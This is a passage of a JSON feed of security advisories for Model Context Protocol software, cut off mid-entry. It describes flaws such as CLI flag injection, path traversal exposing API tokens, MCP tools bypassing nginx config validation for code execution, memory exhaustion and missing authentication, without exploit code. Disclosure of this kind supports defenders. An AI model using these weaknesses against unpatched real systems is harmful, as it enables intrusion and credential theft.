{
  "version": "https://jsonfeed.org/version/1.1",
  "title": "Model Context Protocol (MCP) Security Advisories",
  "home_page_url": "https://github.com/JMartynov/mcp-vulnerabilities",
  "feed_url": "https://github.com/JMartynov/mcp-vulnerabilities/raw/main/data/feed.json",
  "description": "Real-time feed of OSV-compliant security advisories, CVEs, and vulnerabilities across MCP servers.",
  "items": [
    {
      "id": "urn:mcp:vulnerability:CVE-2026-96620",
      "url": "https://github.com/anthropics/claude-agent-sdk-python/commit/347a1cb88d7652199399db1b7f914e0a459a6662",
      "title": "[UNKNOWN] CVE-2026-96620: Claude Agent SDK is a Python SDK for Claude Code. Prior to 0.2.121, the resume option is passed to the Claude CLI as a s",
      "summary": "Claude Agent SDK is a Python SDK for Claude Code. Prior to 0.2.121, the resume option is passed to the Claude CLI as a s",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-96620</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Claude Agent SDK is a Python SDK for Claude Code. Prior to 0.2.121, the resume option is passed to the Claude CLI as a separate token without validation, so a dash-leading value is parsed as an independent CLI flag. An attacker can inject the --mcp-config flag to define a stdio MCP server, causing arbitrary command execution at CLI startup outside the SDK permission controls. The issue is exploitable when an application passes untrusted input as the session ID to resume. This issue is fixed in version 0.2.121.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/anthropics/claude-agent-sdk-python/commit/347a1cb88d7652199399db1b7f914e0a459a6662\">https://github.com/anthropics/claude-agent-sdk-python/commit/347a1cb88d7652199399db1b7f914e0a459a6662</a></li>\n<li><a href=\"https://github.com/anthropics/claude-agent-sdk-python/pull/1123\">https://github.com/anthropics/claude-agent-sdk-python/pull/1123</a></li>\n<li><a href=\"https://github.com/anthropics/claude-agent-sdk-python/releases/tag/v0.2.121\">https://github.com/anthropics/claude-agent-sdk-python/releases/tag/v0.2.121</a></li>\n<li><a href=\"https://github.com/anthropics/claude-agent-sdk-python/security/advisories/GHSA-h4mw-j7qp-8mwm\">https://github.com/anthropics/claude-agent-sdk-python/security/advisories/GHSA-h4mw-j7qp-8mwm</a></li>\n</ul></p>",
      "date_published": "2026-10-16T20:18:28.293Z",
      "date_modified": "2026-10-16T20:18:28.293Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-88755",
      "url": "https://gist.github.com/lkloliver/aac8dcf8a53fc4b3c1b0a5dfbf36ef68",
      "title": "[UNKNOWN] CVE-2026-88755: Z.ai ZCode v3.11.2.6792 was discovered to automatically establish connections with MCP servers declared inside a reposit",
      "summary": "Z.ai ZCode v3.11.2.6792 was discovered to automatically establish connections with MCP servers declared inside a reposit",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-88755</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Z.ai ZCode v3.11.2.6792 was discovered to automatically establish connections with MCP servers declared inside a repository's workspace configuration, possibly allowing attackers to execute arbitrary code via opening a crafted repository.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"http://zai.com\">http://zai.com</a></li>\n<li><a href=\"http://zcode.com\">http://zcode.com</a></li>\n<li><a href=\"https://gist.github.com/lkloliver/aac8dcf8a53fc4b3c1b0a5dfbf36ef68\">https://gist.github.com/lkloliver/aac8dcf8a53fc4b3c1b0a5dfbf36ef68</a></li>\n<li><a href=\"https://github.com/lkloliver/poc/tree/main/CVE-2026-88755\">https://github.com/lkloliver/poc/tree/main/CVE-2026-88755</a></li>\n</ul></p>",
      "date_published": "2026-10-16T15:17:33.537Z",
      "date_modified": "2026-10-16T20:18:12.557Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-111451",
      "url": "https://github.com/wheels-dev/wheels/security/advisories/GHSA-cghp-86c6-6fjc",
      "title": "[UNKNOWN] CVE-2026-111451: Wheels CLI 4.0.0 through 4.1.1 insufficiently validates or escapes caller-supplied values and package contents. Deploy r",
      "summary": "Wheels CLI 4.0.0 through 4.1.1 insufficiently validates or escapes caller-supplied values and package contents. Deploy r",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-111451</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Wheels CLI 4.0.0 through 4.1.1 insufficiently validates or escapes caller-supplied values and package contents. Deploy release/version/rollback values can execute shell commands on deploy hosts as the SSH user and on the CI runner during builds. Package removal and destroy paths can delete unintended files; package extraction can overwrite other vendor files; generator names can write outside the project or inject executable CFML into generated code. Inputs may originate from CI variables, branch names, packages or an AI agent using the CLI's MCP tools. Also relevant are unencoded display properties in generated scaffold show views since 4.1.0 and in generated admin views, permitting stored XSS, and stale process-ID handling in RustCFML server commands that can terminate an unrelated process. This is fixed in 4.1.2; existing affected generated views also require the documented edit.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/wheels-dev/wheels/security/advisories/GHSA-cghp-86c6-6fjc\">https://github.com/wheels-dev/wheels/security/advisories/GHSA-cghp-86c6-6fjc</a></li>\n</ul></p>",
      "date_published": "2026-10-16T04:18:31.667Z",
      "date_modified": "2026-10-16T16:17:04.480Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-57496",
      "url": "https://github.com/Labs64/NetLicensing-MCP/commit/b8fd0ea76d533202573eb24add9fb2fbd9331496",
      "title": "[UNKNOWN] CVE-2026-57496: NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensi",
      "summary": "NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensi",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-57496</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensing lifecycle in Labs64 NetLicensing. Prior to 0.1.8, netlicensing_get_product passes the caller-controlled product_number to src/netlicensing_mcp/tools/products.py, which interpolates it into a REST path consumed by nl_get() in src/netlicensing_mcp/client.py without path-segment validation. A traversal segment can be normalized from the intended product path to the /token endpoint, after which the response is serialized through _wrap_json instead of _wrap_json_token_read, bypassing redact_token_read() protections for APIKEY number and SHOP shopURL fields. An authenticated MCP client with a non-administrative API key can retrieve plaintext token values, and a recovered administrative token can provide broad read, write, and delete access to the NetLicensing account. This issue is fixed in version 0.1.8.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/Labs64/NetLicensing-MCP/commit/b8fd0ea76d533202573eb24add9fb2fbd9331496\">https://github.com/Labs64/NetLicensing-MCP/commit/b8fd0ea76d533202573eb24add9fb2fbd9331496</a></li>\n<li><a href=\"https://github.com/Labs64/NetLicensing-MCP/pull/6\">https://github.com/Labs64/NetLicensing-MCP/pull/6</a></li>\n<li><a href=\"https://github.com/Labs64/NetLicensing-MCP/releases/tag/0.1.8\">https://github.com/Labs64/NetLicensing-MCP/releases/tag/0.1.8</a></li>\n<li><a href=\"https://github.com/Labs64/NetLicensing-MCP/security/advisories/GHSA-hxpf-9xvq-wph8\">https://github.com/Labs64/NetLicensing-MCP/security/advisories/GHSA-hxpf-9xvq-wph8</a></li>\n</ul></p>",
      "date_published": "2026-10-15T19:17:41.733Z",
      "date_modified": "2026-10-16T20:04:29.760Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-111091",
      "url": "https://github.com/JMartynov/mcp-vulnerabilities/blob/main/data/vulnerabilities/CVE-2026-111091.json",
      "title": "[UNKNOWN] CVE-2026-111091: In JetBrains Junie CLI before 26.8.3 code execution was possible via an untrusted project's MCP server configuration",
      "summary": "In JetBrains Junie CLI before 26.8.3 code execution was possible via an untrusted project's MCP server configuration",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-111091</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>In JetBrains Junie CLI before 26.8.3 code execution was possible via an untrusted project's MCP server configuration</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://www.jetbrains.com/privacy-security/issues-fixed/\">https://www.jetbrains.com/privacy-security/issues-fixed/</a></li>\n</ul></p>",
      "date_published": "2026-10-15T16:17:48.637Z",
      "date_modified": "2026-10-15T17:17:16.380Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-109527",
      "url": "https://github.com/modelcontextprotocol/python-sdk/commit/03aaebd3aadb2567878dd811cb1f141454e8a080",
      "title": "[UNKNOWN] CVE-2026-109527: The Model Context Protocol Python SDK is the official Python SDK for Model Context Protocol servers and clients. In mcp ",
      "summary": "The Model Context Protocol Python SDK is the official Python SDK for Model Context Protocol servers and clients. In mcp ",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-109527</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>The Model Context Protocol Python SDK is the official Python SDK for Model Context Protocol servers and clients. In mcp versions before 1.29.1 and from 2.0.0a1 through 2.0.1, the Streamable HTTP session manager, SSE message endpoint, and OAuth authorization-server routes buffer complete HTTP request bodies without enforcing a maximum size. An unauthenticated remote client able to reach an affected endpoint can send a large declared or streamed request body that consumes multiple times the body size in process memory and can repeatedly exhaust memory or terminate the server. Stdio-only servers and deployments with an effective upstream request-size limit are not affected, and applications that use StreamableHTTPServerTransport directly remain responsible for enforcing their own limit. The standard SDK server applications and session managers are fixed in versions 1.29.1 and 2.1.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/modelcontextprotocol/python-sdk/commit/03aaebd3aadb2567878dd811cb1f141454e8a080\">https://github.com/modelcontextprotocol/python-sdk/commit/03aaebd3aadb2567878dd811cb1f141454e8a080</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/python-sdk/commit/4dc224fab201bdef2fd5a065976b7ca31420187c\">https://github.com/modelcontextprotocol/python-sdk/commit/4dc224fab201bdef2fd5a065976b7ca31420187c</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/python-sdk/commit/57394b0548d1e2dc2dce8d67d84985769df3b8bb\">https://github.com/modelcontextprotocol/python-sdk/commit/57394b0548d1e2dc2dce8d67d84985769df3b8bb</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/python-sdk/commit/5f0b6af9f2b0aad3be3ba5cbfe80a9e4ea32e189\">https://github.com/modelcontextprotocol/python-sdk/commit/5f0b6af9f2b0aad3be3ba5cbfe80a9e4ea32e189</a></li>\n</ul></p>",
      "date_published": "2026-10-14T18:17:33.447Z",
      "date_modified": "2026-10-16T16:00:33.533Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-108395",
      "url": "https://github.com/modelcontextprotocol/java-sdk/commit/1499df22c7023aa257223143a5dcf5b1db7ef80d",
      "title": "[UNKNOWN] CVE-2026-108395: The Model Context Protocol Java SDK is the official Java SDK for Model Context Protocol servers and clients. From versio",
      "summary": "The Model Context Protocol Java SDK is the official Java SDK for Model Context Protocol servers and clients. From versio",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-108395</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>The Model Context Protocol Java SDK is the official Java SDK for Model Context Protocol servers and clients. From version 0.8.0 through 0.12.0 in the io.modelcontextprotocol.sdk:mcp artifact, from 0.13.0 through 0.18.3 and 1.0.0 through 1.1.3 in io.modelcontextprotocol.sdk:mcp-core, and from mcp-core 2.0.0-M1 through 2.0.0, the Servlet-based SSE, Streamable HTTP, and Stateless server transports read an HTTP request body into memory without enforcing a maximum size. An unauthenticated remote client able to reach an affected transport can stream an arbitrarily large POST body, including with chunked transfer encoding, until the Java process exhausts its heap and becomes unavailable. Authentication, Origin or Host validation, or an upstream request-size limit can reject the request before the vulnerable read. The maintained mcp-core lines are fixed in versions 0.18.4, 1.1.4, and 2.0.1.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/modelcontextprotocol/java-sdk/commit/1499df22c7023aa257223143a5dcf5b1db7ef80d\">https://github.com/modelcontextprotocol/java-sdk/commit/1499df22c7023aa257223143a5dcf5b1db7ef80d</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/java-sdk/commit/6a41dedaa0625551582d8247e5a4d78eae1131b2\">https://github.com/modelcontextprotocol/java-sdk/commit/6a41dedaa0625551582d8247e5a4d78eae1131b2</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/java-sdk/commit/8c0fdd1b1f76adba3ce7945d29f73fa2ddc66598\">https://github.com/modelcontextprotocol/java-sdk/commit/8c0fdd1b1f76adba3ce7945d29f73fa2ddc66598</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/java-sdk/commit/9e4d5fa827b6ba69457f5fd93573184789528efa\">https://github.com/modelcontextprotocol/java-sdk/commit/9e4d5fa827b6ba69457f5fd93573184789528efa</a></li>\n</ul></p>",
      "date_published": "2026-10-14T18:17:27.370Z",
      "date_modified": "2026-10-16T16:00:33.533Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-59951",
      "url": "https://github.com/modelcontextprotocol/python-sdk/commit/92120b4b0f50385af096592d7cee932fc1d994e7",
      "title": "[UNKNOWN] CVE-2026-59951: The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). From 1.8.0 until",
      "summary": "The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). From 1.8.0 until",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-59951</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). From 1.8.0 until 1.30.0 and 2.2.0, stateful Streamable HTTP servers, including FastMCP, MCPServer, Server.streamable_http_app(), and StreamableHTTPSessionManager, retain session entries without an idle expiration or aggregate session-count limit. DELETE, refused opening requests, and completed sessions do not reliably discard their entries, and each entry can retain parsed initialize parameters. A client that can reach the endpoint can therefore create ordinary short requests that grow server memory without bound until restart. Stateless HTTP, stdio, and SSE transports are not affected. This issue is fixed in versions 1.30.0 and 2.2.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/modelcontextprotocol/python-sdk/commit/92120b4b0f50385af096592d7cee932fc1d994e7\">https://github.com/modelcontextprotocol/python-sdk/commit/92120b4b0f50385af096592d7cee932fc1d994e7</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/python-sdk/commit/d2290ca3434731b68ea3e2270bc06a6e6575931b\">https://github.com/modelcontextprotocol/python-sdk/commit/d2290ca3434731b68ea3e2270bc06a6e6575931b</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/python-sdk/pull/3395\">https://github.com/modelcontextprotocol/python-sdk/pull/3395</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/python-sdk/pull/3426\">https://github.com/modelcontextprotocol/python-sdk/pull/3426</a></li>\n</ul></p>",
      "date_published": "2026-10-14T17:18:29.690Z",
      "date_modified": "2026-10-16T16:00:33.533Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-110616",
      "url": "https://github.com/nullclaw/nullhub",
      "title": "[UNKNOWN] CVE-2026-110616: NullHub through 2026.5.29 contains a missing authentication vulnerability that allows unauthenticated attackers to acces",
      "summary": "NullHub through 2026.5.29 contains a missing authentication vulnerability that allows unauthenticated attackers to acces",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-110616</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>NullHub through 2026.5.29 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* management API because the auth_token field defaults to null and is never assigned. Attackers sending requests without Authorization or Origin headers to non-loopback listeners can control agent instances, rewrite configurations including provider credentials, and manage cron jobs and MCP servers.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/nullclaw/nullhub\">https://github.com/nullclaw/nullhub</a></li>\n<li><a href=\"https://github.com/nullclaw/nullhub/blob/v2026.5.29/Dockerfile#L69-L71\">https://github.com/nullclaw/nullhub/blob/v2026.5.29/Dockerfile#L69-L71</a></li>\n<li><a href=\"https://github.com/nullclaw/nullhub/blob/v2026.5.29/src/api/settings.zig#L29-L54\">https://github.com/nullclaw/nullhub/blob/v2026.5.29/src/api/settings.zig#L29-L54</a></li>\n<li><a href=\"https://github.com/nullclaw/nullhub/blob/v2026.5.29/src/server.zig#L546-L556\">https://github.com/nullclaw/nullhub/blob/v2026.5.29/src/server.zig#L546-L556</a></li>\n</ul></p>",
      "date_published": "2026-10-14T15:17:13.767Z",
      "date_modified": "2026-10-16T19:18:44.867Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-84319",
      "url": "https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2",
      "title": "[UNKNOWN] CVE-2026-84319: Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects re",
      "summary": "Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects re",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-84319</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2\">https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2</a></li>\n<li><a href=\"https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1\">https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1</a></li>\n<li><a href=\"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-5r62-gj48-897x\">https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-5r62-gj48-897x</a></li>\n</ul></p>",
      "date_published": "2026-10-12T21:17:22.517Z",
      "date_modified": "2026-10-13T21:19:11.433Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-84318",
      "url": "https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2",
      "title": "[UNKNOWN] CVE-2026-84318: Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add wr",
      "summary": "Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add wr",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-84318</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2\">https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2</a></li>\n<li><a href=\"https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1\">https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1</a></li>\n<li><a href=\"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-9jww-cxg5-rj9m\">https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-9jww-cxg5-rj9m</a></li>\n</ul></p>",
      "date_published": "2026-10-12T21:17:22.360Z",
      "date_modified": "2026-10-13T15:17:50.383Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-84317",
      "url": "https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2",
      "title": "[UNKNOWN] CVE-2026-84317: Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfig",
      "summary": "Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfig",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-84317</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2\">https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2</a></li>\n<li><a href=\"https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1\">https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1</a></li>\n<li><a href=\"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr\">https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr</a></li>\n</ul></p>",
      "date_published": "2026-10-12T21:17:22.213Z",
      "date_modified": "2026-10-13T18:17:26.047Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77366",
      "url": "https://github.com/The-40-Thieves/obsidian-tc/security/advisories/GHSA-84c9-qqpq-2pq5",
      "title": "[UNKNOWN] CVE-2026-77366: obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, tool dispatch ",
      "summary": "obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, tool dispatch ",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77366</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> obsidian-tc</p>\n<p><strong>Details:</strong><br>obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, tool dispatch does not compare the caller-controlled input.vault value with the vault bound to the caller, the JSON Web Token (JWT) has no vault claim, and the folder access-control list is shared globally. Any valid token can therefore select another configured vault and read, write, or delete its contents through affected tools. Version 1.3.1 fixes the vulnerability by binding tokens and request context to a vault and rejecting mismatched input.vault values before scope checks.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/The-40-Thieves/obsidian-tc/security/advisories/GHSA-84c9-qqpq-2pq5\">https://github.com/The-40-Thieves/obsidian-tc/security/advisories/GHSA-84c9-qqpq-2pq5</a></li>\n<li><a href=\"https://github.com/The-40-Thieves/obsidian-tc/pull/72\">https://github.com/The-40-Thieves/obsidian-tc/pull/72</a></li>\n<li><a href=\"https://github.com/The-40-Thieves/obsidian-tc/commit/38b4992e87dc2715564236e1a42d005ab05a0194\">https://github.com/The-40-Thieves/obsidian-tc/commit/38b4992e87dc2715564236e1a42d005ab05a0194</a></li>\n<li><a href=\"https://github.com/The-40-Thieves/obsidian-tc/releases/tag/v1.3.1\">https://github.com/The-40-Thieves/obsidian-tc/releases/tag/v1.3.1</a></li>\n</ul></p>",
      "date_published": "2026-10-12T17:54:31.642Z",
      "date_modified": "2026-10-12T17:54:31.642Z",
      "tags": [
        "UNKNOWN",
        "obsidian-tc"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77364",
      "url": "https://github.com/The-40-Thieves/obsidian-tc/security/advisories/GHSA-cvp8-vvgf-69q4",
      "title": "[UNKNOWN] CVE-2026-77364: obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, undefined read",
      "summary": "obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, undefined read",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77364</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> obsidian-tc</p>\n<p><strong>Details:</strong><br>obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, undefined readPaths and writePaths settings allow all paths, strictReadDefault does not protect direct requests, and the .obsidian, .git, and .trash control directories are excluded only during enumeration. An authenticated caller can directly read sensitive files such as .obsidian/plugins/*/data.json, potentially exposing plugin API keys, Obsidian Sync passwords, and other in-vault data. Version 1.3.1 fixes the vulnerability by denying the control directories by default and enforcing strictReadDefault on direct request paths.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/The-40-Thieves/obsidian-tc/security/advisories/GHSA-cvp8-vvgf-69q4\">https://github.com/The-40-Thieves/obsidian-tc/security/advisories/GHSA-cvp8-vvgf-69q4</a></li>\n<li><a href=\"https://github.com/The-40-Thieves/obsidian-tc/pull/73\">https://github.com/The-40-Thieves/obsidian-tc/pull/73</a></li>\n<li><a href=\"https://github.com/The-40-Thieves/obsidian-tc/commit/74de320ddea855e1dec47d67beabe88491149dab\">https://github.com/The-40-Thieves/obsidian-tc/commit/74de320ddea855e1dec47d67beabe88491149dab</a></li>\n<li><a href=\"https://github.com/The-40-Thieves/obsidian-tc/releases/tag/v1.3.1\">https://github.com/The-40-Thieves/obsidian-tc/releases/tag/v1.3.1</a></li>\n</ul></p>",
      "date_published": "2026-10-12T17:52:51.653Z",
      "date_modified": "2026-10-12T17:52:51.653Z",
      "tags": [
        "UNKNOWN",
        "obsidian-tc"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77363",
      "url": "https://github.com/The-40-Thieves/obsidian-tc/security/advisories/GHSA-pqh8-4pj7-32xx",
      "title": "[UNKNOWN] CVE-2026-77363: obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, the Streamable",
      "summary": "obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, the Streamable",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77363</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> obsidian-tc, unknown</p>\n<p><strong>Details:</strong><br>obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, the Streamable HTTP transport does not validate the Host or Origin header or enable DNS-rebinding protection. When the documented loopback configuration uses auth.mode set to none, a malicious web page can send requests to the local MCP endpoint and receive unrestricted vault access through the http-local caller. Version 1.3.1 fixes the vulnerability by enabling host, origin, and DNS-rebinding validation.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/The-40-Thieves/obsidian-tc/security/advisories/GHSA-pqh8-4pj7-32xx\">https://github.com/The-40-Thieves/obsidian-tc/security/advisories/GHSA-pqh8-4pj7-32xx</a></li>\n<li><a href=\"https://github.com/The-40-Thieves/obsidian-tc/pull/74\">https://github.com/The-40-Thieves/obsidian-tc/pull/74</a></li>\n<li><a href=\"https://github.com/The-40-Thieves/obsidian-tc/commit/6428bfe6fdfd43aa7b4b369be3aecd6a268fb928\">https://github.com/The-40-Thieves/obsidian-tc/commit/6428bfe6fdfd43aa7b4b369be3aecd6a268fb928</a></li>\n<li><a href=\"https://github.com/The-40-Thieves/obsidian-tc/releases/tag/v1.3.1\">https://github.com/The-40-Thieves/obsidian-tc/releases/tag/v1.3.1</a></li>\n</ul></p>",
      "date_published": "2026-10-12T17:45:57.107Z",
      "date_modified": "2026-10-16T20:04:29.760Z",
      "tags": [
        "UNKNOWN",
        "obsidian-tc",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-108953",
      "url": "https://github.com/cfdude/mac-shell-mcp",
